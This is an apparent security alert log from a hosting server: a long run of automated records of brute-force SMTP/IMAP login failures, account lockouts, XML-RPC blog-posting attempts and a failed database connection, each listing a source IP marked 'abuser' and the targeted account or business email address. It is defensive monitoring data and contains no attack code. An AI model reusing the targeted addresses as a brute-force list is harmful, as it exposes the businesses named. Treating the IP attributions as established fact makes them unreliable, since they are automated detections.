# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.84.209.188
country_id: 1814991
description:
2026-02-01 05:32:39 dovecot_login authenticator failed for H=([117.40.175.86]) [223.84.209.188]:59474: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:32:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 05:32:57 dovecot_login authenticator failed for H=(XDBMubuki) [45.92.33.82]:53184: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:32:09 dovecot_login authenticator failed for H=(Qygw3Efy7b) [84.239.7.19]:4356: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:32:09 dovecot_login authenticator failed for H=(3hF0LcykFV) [45.94.31.131]:64483: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:32:09 dovecot_login authenticator failed for H=(ekC5wO) [185.36.81.54]:50068: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:32:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:32:20 dovecot_login authenticator failed for H=(O12Fcn) [178.16.54.22]:59873: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:32:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60634: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:32:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:32:10 dovecot_login authenticator failed for H=(vKjY6PQ4) [158.94.208.175]:49192: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:32:19 dovecot_login authenticator failed for H=(SBXLPD0) [158.94.208.215]:52370: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.22.237.108
country_id: 1814991
description:
2026-02-01 05:32:25 dovecot_login authenticator failed for H=([218.22.237.108]) [218.22.237.108]:54236: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:33:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:33:35 dovecot_login authenticator failed for H=(P25LNLwzXo) [141.98.11.11]:52202: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:33:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50317: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 05:33:05 dovecot_login authenticator failed for H=(AHs9cS) [45.92.33.82]:53369: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:33:10 dovecot_login authenticator failed for H=(OoHcKWbscT) [45.94.31.131]:64593: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:33:47 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:64962: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-02-01 05:33:50 dovecot_login authenticator failed for H=(217-29-30-135.saimanet.kg) [217.29.30.135]:41073: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:33:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:33:06 dovecot_login authenticator failed for H=(1Il0em0) [178.16.54.22]:59169: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.231.201.113
country_id: 3175395
description:
2026-02-01 05:33:45 dovecot_login authenticator failed for H=host-95-231-201-113.business.telecomitalia.it [95.231.201.113]:32912: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:33:51 dovecot_login authenticator failed for H=(VVD2nIZ) [178.16.52.139]:58040: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:33:21 dovecot_login authenticator failed for H=(eWX61KnDf) [185.36.81.54]:53044: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:33:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:33:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:33:07 dovecot_login authenticator failed for H=(dJ8pMlB) [158.94.208.215]:62508: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:33:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:33:19 dovecot_login authenticator failed for H=(CpkecGC) [158.94.208.175]:50823: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:33:19 dovecot_login authenticator failed for H=(kDXDM1) [84.239.7.19]:62435: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.250.50
country_id: 1814991
description:
2026-02-01 05:33:40 dovecot_login authenticator failed for H=(50.250.223.60.adsl-pool.sx.cn) [60.223.250.50]:34514: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:33:47 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:64940: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.88.196.91
country_id: 6252001
description:
2026-02-01 05:34:34 dovecot_plain authenticator failed for H=c-73-88-196-91.hsd1.ky.comcast.net (scrucha) [73.88.196.91]:35490: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:34:05 dovecot_login authenticator failed for H=(lQUG0A6) [158.94.208.175]:49714: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:34:15 dovecot_login authenticator failed for H=(pZwIuA) [178.16.52.139]:60321: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 05:34:28 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:38225: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:34:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.60.147.65
country_id: 895949
description:
2026-02-01 05:34:37 dovecot_plain authenticator failed for H=(lingly) [41.60.147.65]:41148: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:34:01 dovecot_login authenticator failed for H=(ajFEKFPG) [84.239.7.19]:2964: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:34:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:34:09 dovecot_login authenticator failed for H=(LDlvSF9Gi) [141.98.11.11]:55691: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:34:15 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:60779: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.197.75.67
country_id: 1269750
domain: oxbold.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:94031.oxbold.com||ServerName:oxbold.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ec3525654ae5ab05b4b7ff37793028be0651ce7||Title:0x7b3aca0a||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:34:52 dovecot_login authenticator failed for H=(MRBAH7wO) [185.36.81.54]:55168: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.84.25.45
country_id: 3175395
description:
2026-02-01 05:34:07 dovecot_plain authenticator failed for H=(supper) [82.84.25.45]:47499: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:34:09 dovecot_login authenticator failed for H=(f1Onq8A) [45.94.31.131]:56187: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.13.71.126
country_id: 1814991
description:
2026-02-01 05:34:11 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [123.13.71.126]:5336: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:34:19 dovecot_login authenticator failed for H=(U2Rn16WpGO) [158.94.208.215]:52644: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:34:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:34:15 dovecot_login authenticator failed for H=(bgTNJo0) [178.16.54.22]:59412: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:35:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:35:15 dovecot_login authenticator failed for H=(UN8r0T) [158.94.208.175]:61829: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:35:07 dovecot_login authenticator failed for H=(wAeyuqiJDN) [158.94.208.215]:49611: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.185.80.128
country_id: 6252001
description:
2026-02-01 05:35:08 dovecot_login authenticator failed for H=(localhost.localdomain) [89.185.80.128]:54858: 535 Incorrect authentication data (set_id=2095intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:35:12 dovecot_login authenticator failed for H=(QRgLu1J9ve) [84.239.7.19]:25556: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:35:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 05:35:22 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:32812: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:35:03 dovecot_login authenticator failed for H=(hzDXukZTa) [178.16.52.139]:51254: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 138.84.82.210
country_id: 1694008
domain: oxbold.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:36415.oxbold.com||ServerName:oxbold.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8cf622415bbd6f7432c5bcc0001cdde01fec2e27||Title:0xfaecaad4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:35:14 dovecot_login authenticator failed for H=(Bq1p8Gcz) [45.94.31.131]:49453: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.248.47.114
country_id: 6252001
description:
2026-02-01 05:35:16 dovecot_login authenticator failed for H=(syn-172-248-047-114.res.spectrum.com) [172.248.47.114]:34780: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:35:23 dovecot_login authenticator failed for H=(OocZZD1h) [141.98.11.11]:62998: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:35:24 dovecot_login authenticator failed for H=(5zNOC5) [178.16.54.22]:60373: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.37.250
country_id: 1814991
description:
2026-02-01 05:35:06 dovecot_login authenticator failed for H=([218.21.37.250]) [218.21.37.250]:46670: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:35:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:35:11 dovecot_login authenticator failed for H=(H55kmG) [185.36.81.54]:59625: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:36:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:36:30 dovecot_login authenticator failed for H=(6R3FJ9NLn) [141.98.11.11]:59960: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-01 05:36:59 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:12916: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:36:18 dovecot_login authenticator failed for H=(Y30V53) [84.239.7.19]:57824: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:36:15 dovecot_login authenticator failed for H=(PSSC3W) [178.16.52.139]:52040: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:36:01 dovecot_login authenticator failed for H=(cSI4tWl) [158.94.208.175]:51571: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:36:12 dovecot_login authenticator failed for H=(wMKMuFry) [45.94.31.131]:63337: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:36:15 dovecot_login authenticator failed for H=(GGhXRCy) [178.16.52.139]:55688: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:36:19 dovecot_login authenticator failed for H=(F2Iai3JUm) [158.94.208.215]:50542: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:36:28 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:36:09 dovecot_login authenticator failed for H=(P0sly03) [178.16.54.22]:61862: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:36:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.185.80.128
country_id: 6252001
description:
2026-02-01 05:37:06 dovecot_login authenticator failed for H=(localhost.localdomain) [89.185.80.128]:58546: 535 Incorrect authentication data (set_id=2095central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:37:03 dovecot_login authenticator failed for H=(j2JrHA) [178.16.52.139]:51567: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:37:06 dovecot_login authenticator failed for H=(HxKP9zKUda) [185.36.81.54]:50762: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:37:18 dovecot_login authenticator failed for H=(Oson6vL) [178.16.54.22]:58318: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.222
country_id: 1819730
description:
2026-02-01 05:37:56 dovecot_login authenticator failed for H=222.42.246.220.static.netvigator.com [220.246.42.222]:58529: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:37:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:37:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:37:07 dovecot_login authenticator failed for H=(yWByZGWIE) [158.94.208.215]:61533: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:37:11 dovecot_login authenticator failed for H=(qNPZ89L1aH) [158.94.208.175]:54643: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:37:12 dovecot_login authenticator failed for H=(BJ3o8Zys) [45.94.31.131]:64909: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:37:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.232.126
country_id: 1269750
description:
2026-02-01 05:37:26 dovecot_login authenticator failed for H=(nsg-corporate-126.232.187.122.airtel.in) [122.187.232.126]:60116: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:37:29 dovecot_login authenticator failed for H=(RDzby5) [141.98.11.11]:58722: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 05:38:46 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:36718: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:38:06 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58179: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:38:16 dovecot_login authenticator failed for H=(8SzuxA) [178.16.52.139]:51623: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.47
country_id: 2750405
description:
2026-02-01 05:38:56 dovecot_login authenticator failed for H=(localhost.localdomain) [91.92.241.47]:57830: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:38:04 dovecot_login authenticator failed for H=(AsTaLZYu) [178.16.54.22]:56796: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:38:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:38:21 dovecot_login authenticator failed for H=(NZjVA7Qbn) [158.94.208.175]:59801: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.165.187
country_id: 2017370
description:
2026-02-01 05:38:26 dovecot_login authenticator failed for H=([178.216.165.187]) [178.216.165.187]:53498: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:38:31 dovecot_login authenticator failed for H=(YwV3SBnXWU) [141.98.11.11]:51410: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-01 05:38:33 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:43518: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:38:05 dovecot_login authenticator failed for H=(GzTh6665) [185.36.81.54]:64446: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:38:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:38:11 dovecot_login authenticator failed for H=(RnNk6jW9) [45.94.31.131]:52793: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:38:19 dovecot_login authenticator failed for H=(DzQnD9OJ) [158.94.208.215]:63292: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-02-01 05:39:03 dovecot_login authenticator failed for H=([103.130.207.227]) [103.130.207.227]:58980: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 05:39:05 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:41729: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:39:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:39:07 dovecot_login authenticator failed for H=(1LSgKP) [158.94.208.215]:57694: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-02-01 05:39:13 dovecot_login authenticator failed for H=(inter-link.edu.my) [61.50.119.110]:49784: 535 Incorrect authentication data (set_id=nologin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 103.203.57.18
country_id: 1814991
description:
2026-02-01  5:39:15 204336 [Warning] Aborted connection 204336 to db: 'unconnected' user: 'unauthenticated' host: '103.203.57.18' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
